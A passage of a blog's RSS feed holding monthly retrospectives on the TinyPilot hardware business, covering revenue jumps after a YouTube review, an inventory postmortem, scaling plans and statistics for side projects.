&lt;li>Even commodity parts can disappear overnight.
&lt;ul>
&lt;li>I was conscious of the risk I carried by depending on one specific type of HDMI capture chip.&lt;/li>
&lt;li>I felt the risk was low given that there were dozens of vendors selling the chip, many of whom reported 1000+ in stock at any given time.&lt;/li>
&lt;li>Worse comes to worst, I could switch to an alternative board with the same chipset, of which there were several.&lt;/li>
&lt;li>When the shortage happened, it broke both my assumptions. All vendors ran out at the same time of all board variants, which exposed that vendors are less independent than they seem.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Prepare more for Chinese New Year
&lt;ul>
&lt;li>I expected slow responses for a week or so, but most vendors were shut down for the majority of February.&lt;/li>
&lt;li>In the future, I&amp;rsquo;ll plan for Chinese vendors to be totally unavailable and unable to ship new parts from the start of February until the end of March.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Hire two local part-time employees to begin taking over order fulfillment.
&lt;ul>
&lt;li>TinyPilot&amp;rsquo;s current fulfillment manager goes back to grad school in June.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Attract five bloggers or YouTubers to a TinyPilot affiliate program.&lt;/li>
&lt;li>Collect feedback from 10 customers about a potential rack-mounted version of TinyPilot.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 7</title><link>https://mtlynch.io/retrospectives/2021/02/</link><pubDate>Thu, 04 Feb 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2021/02/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot achieved astonishing growth in revenue, jumping from $15k in December to $42k in January.&lt;/li>
&lt;li>Most of TinyPilot&amp;rsquo;s sales came from a single positive YouTube review.&lt;/li>
&lt;li>TinyPilot is experiencing growing pains as I scramble to meet demand.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="hire-a-freelance-developer-to-help-with-tinypilot-development">Hire a freelance developer to help with TinyPilot development&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I ran one trial hire that didn&amp;rsquo;t work out, but I&amp;rsquo;m currently trying with another.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Hiring a new developer is a slow process, but it&amp;rsquo;s going according to plan. With each trial hire, I&amp;rsquo;m finding ways to help them ramp up faster. It also helps me recognize what qualities I should look for in future hires.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot achieved astonishing growth in revenue, jumping from $15k in December to $42k in January.&lt;/li>
&lt;li>Most of TinyPilot&amp;rsquo;s sales came from a single positive YouTube review.&lt;/li>
&lt;li>TinyPilot is experiencing growing pains as I scramble to meet demand.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="hire-a-freelance-developer-to-help-with-tinypilot-development">Hire a freelance developer to help with TinyPilot development&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I ran one trial hire that didn&amp;rsquo;t work out, but I&amp;rsquo;m currently trying with another.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Hiring a new developer is a slow process, but it&amp;rsquo;s going according to plan. With each trial hire, I&amp;rsquo;m finding ways to help them ramp up faster. It also helps me recognize what qualities I should look for in future hires.&lt;/p>
&lt;h3 id="receive-tinypilot-reviews-from-two-bloggers-or-youtubers-with-a-relevant-audience">Receive TinyPilot reviews from two bloggers or YouTubers with a relevant audience&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Received one YouTube review, and two others are in progress&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A-&lt;/li>
&lt;/ul>
&lt;p>I underestimated how long it takes for YouTubers to make new videos. One new review came out, but it&amp;rsquo;s based on outreach I did in November. Two other YouTubers agreed to review, but they&amp;rsquo;re still working on their videos.&lt;/p>
&lt;p>That said, one review turned out to be almost too much to handle. More on that &lt;a href="#tinypilots-first-youtube-review">below&lt;/a>.&lt;/p>
&lt;h3 id="earn-4k-in-revenue-from-hit-the-front-page-of-hacker-news">Earn $4k in revenue from &lt;em>Hit the Front Page of Hacker News&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Earned $2.6k in revenue&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>The course hasn&amp;rsquo;t quite played out the way I&amp;rsquo;d hoped. I&amp;rsquo;m proud of the material, but far fewer people are purchasing it than I anticipated.&lt;/p>
&lt;p>I tried &lt;a href="https://twitter.com/deliberatecoder/status/1352322420833722372">several different techniques&lt;/a> to market it, but none of them have had a noticeable effect on sales.&lt;/p>
&lt;h2 id="tinypilot-stats">TinyPilot stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2020&lt;/th>
 &lt;th>January 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>3,486&lt;/td>
 &lt;td>11,249&lt;/td>
 &lt;td>&lt;font color="green">+7,763 (+223%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>5,785&lt;/td>
 &lt;td>17,737&lt;/td>
 &lt;td>&lt;font color="green">+11,952 (+207%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$15,358.31&lt;/td>
 &lt;td>$41,992.92&lt;/td>
 &lt;td>&lt;font color="green">+$26,634.61 (+173%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Donations&lt;/td>
 &lt;td>$9.00&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;font color="red">-$9.00 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$15,367.05&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$41,992.92&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$26,625.87 (+173%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>This was a enormous month for &lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a>. Sales jumped from $15k to $42k.&lt;/p>
&lt;p>Every month, I think, &amp;ldquo;Wow, that was a lucky month! I won&amp;rsquo;t be able to do &lt;em>that&lt;/em> again.&amp;rdquo; And then there&amp;rsquo;s even more growth the following month, so here&amp;rsquo;s hoping that luck continues.&lt;/p>
&lt;h2 id="tinypilots-first-youtube-review">TinyPilot&amp;rsquo;s first YouTube review&lt;/h2>
&lt;p>The majority of January&amp;rsquo;s sales is due to just one source: &lt;a href="https://www.youtube.com/c/CraftComputing/about">Craft Computing&lt;/a>, a YouTube channel about IT hardware for professionals and home enthusiasts.&lt;/p>
&lt;p>I discovered the Craft Computing channel early last year through its excellent tutorial on &lt;a href="https://mtlynch.io/building-a-vm-homelab/#vm-management-proxmox">installing Proxmox&lt;/a>. A few months later, the host announced that he had &lt;a href="https://www.youtube.com/watch?v=5yTq0DLLeN0">quit his job&lt;/a> as an IT manager to work for himself, so I &lt;a href="https://mtlynch.io/why-i-quit-google/">felt a kinship&lt;/a> there.&lt;/p>
&lt;p>In November, I reached out to Jeff, the channel&amp;rsquo;s host, asking if he&amp;rsquo;d be interested in reviewing TinyPilot. He agreed, so I quickly shipped one over. I didn&amp;rsquo;t hear anything for a few months and was beginning to wonder whether my Voyager was just sitting in a heap of free hardware that companies send him.&lt;/p>
&lt;p>Just as I was getting ready for bed on January 12th, Jeff emailed me to say the review just went up.&lt;/p>
&lt;div style="max-width: 600px; display: block; margin: 0 auto;">
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/CyEpshm16HY?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="Designing the Ideal Bootstrapped Business">&lt;/iframe>
 &lt;/div>

&lt;/div>
&lt;p>It was surreal. My girlfriend and I watched it on the big TV in our living room, so I was seeing a YouTube personality I&amp;rsquo;d watched for a year &lt;em>holding my product and speaking directly to me from a huge screen!&lt;/em>&lt;/p>
&lt;p>Jeff loved TinyPilot and shared the many ways it impressed him. I was anxious the whole way through that he would suddenly stop and say, &amp;ldquo;Actually&amp;hellip; I changed my mind. This product sucks. Tell everyone you know not to buy one.&amp;rdquo; But fortunately, the review was positive throughout, and his critiques were minor.&lt;/p>
&lt;p>The results were strong and immediate. The next day, I received 33 orders and earned $5k in revenue, far exceeding previous sales records. The next day, the number of orders dropped, but more customers purchased high-end kits, so the total revenue remained roughly the same.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 







&lt;div class="img" style="max-width: 453px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/02/sales-jan.png">
 &lt;img
 
 sizes="(min-width: 768px) 453px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/02/sales-jan_hu_9828bbb15287ad3f.png 300w, https://mtlynch.io/retrospectives/2021/02/sales-jan.png 453w'
 src="https://mtlynch.io/retrospectives/2021/02/sales-jan.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 







&lt;div class="img" style="max-width: 453px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/02/orders-jan.png">
 &lt;img
 
 sizes="(min-width: 768px) 453px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/02/orders-jan_hu_a211f87e7c56c1f1.png 300w, https://mtlynch.io/retrospectives/2021/02/orders-jan.png 453w'
 src="https://mtlynch.io/retrospectives/2021/02/orders-jan.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>TinyPilot revenues, orders by day, January 2021&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I expected things to subside on the third day, and they did a little bit, but they kept coming. My inventory is set up to absorb a rush like this, but I didn&amp;rsquo;t expect it to continue for so long.&lt;/p>
&lt;p>TinyPilot&amp;rsquo;s fulfillment manager and I kept up with orders for the first week, but on day eight, we&amp;rsquo;d been run ragged. We ran out of a few parts we couldn&amp;rsquo;t replace within our two-day shipping window, so we briefly listed most products as backordered. A few days later, we were back on our feet, and the order volume got back down to manageable.&lt;/p>
&lt;h2 id="tinypilots-first-postmortem">TinyPilot&amp;rsquo;s first postmortem&lt;/h2>
&lt;p>&lt;a href="https://landing.google.com/sre/book/chapters/postmortem-culture.html">Blameless postmortems&lt;/a> are one of the most valuable practices I learned while working at Google. When something goes majorly wrong, you get back to steady-state and then write a report analyzing what happened.&lt;/p>
&lt;p>As the name implies, the document is &lt;em>blameless&lt;/em>. It&amp;rsquo;s never, &amp;ldquo;We had an outage because Michael&amp;rsquo;s an idiot, and he deleted the wrong file.&amp;rdquo;&lt;/p>
&lt;p>The underlying assumption of a postmortem is that everyone on the team is smart and diligent, so if something went wrong, the systems failed, not the people. When a failure looks like someone being stupid, the root cause is that processes failed to protect against expected human error.&lt;/p>
&lt;p>After the Craft Computing review, my fulfillment manager and I conducted TinyPilot&amp;rsquo;s first postmortem. Below are the major issues we discovered and what changes we put in place to mitigate them.&lt;/p>
&lt;h3 id="inventory-targets-were-too-low">Inventory targets were too low&lt;/h3>
&lt;p>We manage inventory with a spreadsheet. For each part we carry, we define a minimum and maximum to keep in stock. For example, Raspberry Pis had a minimum of 40 and a maximum of 80. That means that anytime our inventory of Raspberry Pis drops below 40, we order enough to get our supply back to 80.&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 1092px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/02/tinypilot-inventory.png">
 &lt;img
 
 sizes="(min-width: 768px) 1092px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/02/tinypilot-inventory_hu_fa2e5e45f1dce2f8.png 300w, https://mtlynch.io/retrospectives/2021/02/tinypilot-inventory_hu_8ac2113c7980b3d5.png 600w, https://mtlynch.io/retrospectives/2021/02/tinypilot-inventory_hu_1f46c22a7f88c795.png 800w, https://mtlynch.io/retrospectives/2021/02/tinypilot-inventory.png 1092w'
 src="https://mtlynch.io/retrospectives/2021/02/tinypilot-inventory.png" alt="Screenshot of TinyPilot inventory spreadsheet" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s inventory spreadsheet&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The problem was that we only adjusted these targets until we run out and realize we planned poorly. Then, when we&amp;rsquo;re in a shortage, we&amp;rsquo;re so panicked that it&amp;rsquo;s hard to think rationally about what the new targets should be.&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Fix&lt;/strong>: Schedule a monthly adjustment of inventory targets based on recent order volume.&lt;/li>
&lt;li>&lt;strong>Fix&lt;/strong>: Assume the next surge in orders will be more intense than any that have occurred previously.&lt;/li>
&lt;li>&lt;strong>Fix&lt;/strong>: If we ever run out of a part or experience a close call, double its inventory targets.&lt;/li>
&lt;/ul>
&lt;h3 id="urgency-was-not-obvious">Urgency was not obvious&lt;/h3>
&lt;p>Our standard workflow with the inventory spreadsheet is to &amp;ldquo;top up&amp;rdquo; any item that falls below our minimum. When we dipped below the reorder threshold for USB cables, we ordered new ones in our usual workflow, with standard ground shipping.&lt;/p>
&lt;p>We didn&amp;rsquo;t notice that customers were purchasing so quickly that we were on track to reach zero before the new shipment would arrive. The next day, we placed an additional order with overnight shipping to bridge us to the later shipment.&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Fix&lt;/strong>: Highlight numbers in the &amp;ldquo;in stock&amp;rdquo; column when they reach dangerously low levels.&lt;/li>
&lt;li>&lt;strong>Fix&lt;/strong>: Upgrade to Amazon Business Prime to make two-day shipping a no-brainer.&lt;/li>
&lt;li>&lt;strong>Fix&lt;/strong>: Look for inventory management software that includes alerting based on trends.&lt;/li>
&lt;/ul>
&lt;h3 id="handling-time-is-too-short">Handling time is too short&lt;/h3>
&lt;p>When I first started TinyPilot, I promised to ship devices in one business day. It immediately became clear that a one-day turnaround was unsustainable, as it constantly forced me to context-switch and rush orders out. A few weeks in, I changed the advertised turnaround time to two days.&lt;/p>
&lt;p>After the YouTube review, we had to list items as backordered after a week of scrambling, but if our shipping promise was three days, that would have been enough buffer for us to have avoided backorder. We realized that about 80% of our previous backorders or close calls were off by just a day.&lt;/p>
&lt;p>The two-day window was creating too much stress. We ship most orders out next-day anyway, and customers probably don&amp;rsquo;t care much about an advertised turnaround of two vs. three days.&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Fix&lt;/strong>: Increase advertised handling time to three days.&lt;/li>
&lt;/ul>
&lt;h3 id="reordering-packs-of-parts-creates-unnecessary-cognitive-load">Reordering packs of parts creates unnecessary cognitive load&lt;/h3>
&lt;p>We purchase some of our parts individually and some in packs of two or three per package. For example, we purchase our power adapters in packs of three. Our inventory spreadsheet lists &lt;em>absolute&lt;/em> quantity of power adapters, not &lt;em>packs&lt;/em> of power adapters.&lt;/p>
&lt;p>During the rush, we meant to order 150 power adapters, but we accidentally ordered 150 3-packs, so 450 total.&lt;/p>
&lt;p>The over-order was a human mistake, but it highlights how our system invites error. The person placing the order needs to do mental arithmetic that varies for each item.&lt;/p>
&lt;p>&lt;strong>Fix&lt;/strong>: Add a column in the spreadsheet for &amp;ldquo;reorder quantity&amp;rdquo; that factors in quantity-per-pack.&lt;/p>
&lt;h2 id="how-can-tinypilot-scale">How can TinyPilot scale?&lt;/h2>
&lt;p>TinyPilot is growing far more quickly than I anticipated. Fortunately, my existing processes have accommodated the growth so far, but if we continue, things will begin buckling under the load. Here&amp;rsquo;s how I&amp;rsquo;m planning to scale growth across a few dimensions.&lt;/p>
&lt;h3 id="scaling-support">Scaling support&lt;/h3>
&lt;p>As the number of TinyPilot customers increases, I&amp;rsquo;m also receiving more support emails. Some days, I spend up to half my working hours on technical support.&lt;/p>
&lt;p>I thought back to a &lt;a href="https://lunchbag.ca/company-of-one/">blog post&lt;/a> from Jen Yip, founder of &lt;a href="https://lunchmoney.app/">Lunch Money&lt;/a>. She manages all aspects of her business by herself, and she minimizes her support burden by implementing features in her app that help users &lt;a href="https://lunchbag.ca/company-of-one/#optimizing-customer-support">resolve common issues&lt;/a>.&lt;/p>
&lt;p>About half of TinyPilot&amp;rsquo;s support requests are actually just gaps in the product. A common request is, &amp;ldquo;How do I turn on WiFi?&amp;rdquo; Right now, I send them &lt;a href="https://www.raspberrypi.org/documentation/configuration/wireless/wireless-cli.md">a link&lt;/a> that explains how to do it from the command line, but this should be something users can do right from the TinyPilot web interface.&lt;/p>
&lt;p>As I continue developing TinyPilot&amp;rsquo;s software, I&amp;rsquo;m prioritizing features that eliminate user confusion and making debugging tools more accessible when things go wrong.&lt;/p>
&lt;h3 id="scaling-manufacturing">Scaling manufacturing&lt;/h3>
&lt;p>3D-printed parts are great because adjustments to the design are fast and inexpensive. The downside is that 3D printing scales poorly. The lab that makes my Voyager cases can produce only 40 per week with the material I want, and that will soon become a bottleneck.&lt;/p>
&lt;p>The next step up is injection molding. Basically, the manufacturer creates a steel or aluminum mold of the case, fills it with plastic, then presses it into shape. Creating the mold is slow and expensive, but once they create the mold, they can produce 1,000 per day at low costs. I requested quotes from several vendors, but they came back in the range of $20-40k, a bit too high at this point.&lt;/p>
&lt;p>I reached out to other labs to see if I could parallelize the 3D printing. The problem is that the material I like is a carbon fiber material that&amp;rsquo;s uncommon among 3D printing labs, so not many other vendors carry it. The ones that do quoted me prices that are 10-15x higher than I&amp;rsquo;m currently paying. Still, Voyager&amp;rsquo;s margins are high enough that if push comes to shove, I could turn a profit even with higher case costs.&lt;/p>
&lt;p>One of the other labs told me I could achieve a similar result with an alternative material that prints faster. I&amp;rsquo;m requesting a sample from them and talking to my primary lab about alternative materials.&lt;/p>
&lt;p>My girlfriend slash inventory manager handles the final manufacturing steps, such as testing circuit boards and assembling Voyagers. We may reach a point where she doesn&amp;rsquo;t have enough time to do order fulfillment, inventory management, assembly, and other tasks on top of being a full-time grad student. So, we&amp;rsquo;re reviewing which tasks we can outsource when we reach the limits of her available work time.&lt;/p>
&lt;h3 id="scaling-development">Scaling development&lt;/h3>
&lt;p>With all the other parts of running TinyPilot, I&amp;rsquo;ve sadly had scarce time to work on the software. In December, I began looking for part-time developers to pick up the slack. I prepared these two documents to describe the job and shared them in a few small channels:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://docs.google.com/document/d/1DPvwbEqCJjJ2f6GklQ0lQnVvfgFNsAAahgzLRjox1-g/edit?usp=sharing">Job description&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://docs.google.com/document/d/1wbXw6G7c6T-PnqIZzFzzzx8Iy3NKTHqcb6SDEPgdKxc/edit?usp=sharing">Guidelines for working with me&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Out of all the freelance positions I hire for, software development is always the biggest challenge. I have high standards for software, so it&amp;rsquo;s difficult to find developers who have a similar passion for quality and maintainability.&lt;/p>
&lt;p>Instead of interviewing candidates, I go straight to trial hires. The first hire didn&amp;rsquo;t work out, but they told me they were pleased with the process. It also helped me find ways to make it easier for new developers to ramp up on the codebase.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2020&lt;/th>
 &lt;th>January 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>2,595&lt;/td>
 &lt;td>1,042&lt;/td>
 &lt;td>&lt;font color="red">-1,553 (-60%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$1,431.00&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$2,565.22&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$1,134.22 (+79%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>&lt;em>Hit the Front Page of Hacker News&lt;/em>, my course about blogging for developer audiences, finally launched in January. There was a jump in sales around the launch, but it was significantly less than I expected. My goal for the course was to earn $20k by the end of the year. That&amp;rsquo;s looking unlikely.&lt;/p>
&lt;p>When I told &lt;a href="https://www.coryzue.com/">Cory Zue&lt;/a> that I was disappointed in sales so far, he teased me about how much TinyPilot&amp;rsquo;s earnings have jaded me. The course earned more in January alone than I earned &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#how-i-made-and-spent-money">my whole first year&lt;/a> as an indie developer.&lt;/p>
&lt;p>I&amp;rsquo;m planning to write a retrospective later this month that&amp;rsquo;s focused entirely on what I learned from recording and marketing the course, so stay tuned for a more detailed discussion.&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2020&lt;/th>
 &lt;th>January 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>49,373&lt;/td>
 &lt;td>80,177&lt;/td>
 &lt;td>&lt;font color="green">+30,804 (+62%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>93,242&lt;/td>
 &lt;td>182,367&lt;/td>
 &lt;td>&lt;font color="green">+89,125 (+96%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>10.0&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>&lt;font color="green">+1.0 (+10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Revenue&lt;/td>
 &lt;td>$334.72&lt;/td>
 &lt;td>$677.36&lt;/td>
 &lt;td>&lt;font color="green">+$342.64 (+102%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Revenue&lt;/td>
 &lt;td>$149.99&lt;/td>
 &lt;td>$238.02&lt;/td>
 &lt;td>&lt;font color="green">+$88.03 (+59%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$484.71&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$915.38&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$430.67 (+89%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto had a record month even though I didn&amp;rsquo;t touch the site at all. Because it&amp;rsquo;s related to dieting, there&amp;rsquo;s always a spike in interest that coincides with new year&amp;rsquo;s resolutions.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2020&lt;/th>
 &lt;th>January 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>507&lt;/td>
 &lt;td>419&lt;/td>
 &lt;td>&lt;font color="red">-88 (-17%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,511&lt;/td>
 &lt;td>1,194&lt;/td>
 &lt;td>&lt;font color="red">-317 (-21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Revenue&lt;/td>
 &lt;td>$103.33&lt;/td>
 &lt;td>$155.50&lt;/td>
 &lt;td>&lt;font color="green">+$52.17 (+50%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$103.33&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$155.50&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$52.17 (+50%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful is growing slightly, even though it&amp;rsquo;s in maintenance mode. The growth seems to be from a single long-standing customer whose usage has increased.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://hitthefrontpage.com/">&lt;em>Hit the Front Page of Hacker News&lt;/em>&lt;/a> launched.&lt;/li>
&lt;li>&lt;a href="https://tinypilotkvm.com/product/tinypilot-pro">TinyPilot Pro&lt;/a> graduated from beta to a real relase.&lt;/li>
&lt;li>Conducted TinyPilot&amp;rsquo;s first postmortem.&lt;/li>
&lt;li>Hired two freelance developers on a trial basis.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>YouTube reviews can be incredibly powerful, but they take time.
&lt;ul>
&lt;li>Seeing the results from the first review, this is definitely a source I want to explore further, but it will take a few months to line up new reviews.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>As you grow, review the assumptions behind your processes.
&lt;ul>
&lt;li>This is a lesson I have to learn over and over. I often establish a process for some task, and it becomes a habit. But then I stop thinking critically about the process and fail to recognize that I designed it for conditions that might no longer be true.&lt;/li>
&lt;li>It&amp;rsquo;s important to take a step back regularly and review whether the process is still optimal.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Attract five bloggers or YouTubers to a TinyPilot affiliate program.&lt;/li>
&lt;li>Add two features to TinyPilot that reduce support or manufacturing costs.&lt;/li>
&lt;li>Collect feedback from 10 customers about a potential rack-mounted version of TinyPilot.&lt;/li>
&lt;/ul></content:encoded></item><item><title>My Third Year as a Solo Developer</title><link>https://mtlynch.io/bootstrapped-founder-year-3/</link><pubDate>Mon, 01 Feb 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/bootstrapped-founder-year-3/</guid><description>&lt;p>Today is the third anniversary of &lt;a href="https://mtlynch.io/why-i-quit-google/">quitting my job at Google&lt;/a> to build my own software business. I posted updates at the end of my &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">first&lt;/a> and &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">second&lt;/a> years, so it&amp;rsquo;s time to share my progress.&lt;/p>
&lt;h2 id="the-year-things-clicked-into-place">The year things clicked into place&lt;/h2>
&lt;p>In my first two years working for myself, I earned less than $10k total. &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/#goals-for-year-three">My goal&lt;/a> for the third year was to earn $20k in revenue.&lt;/p>
&lt;p>Halfway through the year, it looked like I&amp;rsquo;d fall short. My businesses collectively generated about $300/month, and none of my new ideas were working.&lt;/p></description><content:encoded>&lt;p>Today is the third anniversary of &lt;a href="https://mtlynch.io/why-i-quit-google/">quitting my job at Google&lt;/a> to build my own software business. I posted updates at the end of my &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">first&lt;/a> and &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">second&lt;/a> years, so it&amp;rsquo;s time to share my progress.&lt;/p>
&lt;h2 id="the-year-things-clicked-into-place">The year things clicked into place&lt;/h2>
&lt;p>In my first two years working for myself, I earned less than $10k total. &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/#goals-for-year-three">My goal&lt;/a> for the third year was to earn $20k in revenue.&lt;/p>
&lt;p>Halfway through the year, it looked like I&amp;rsquo;d fall short. My businesses collectively generated about $300/month, and none of my new ideas were working.&lt;/p>
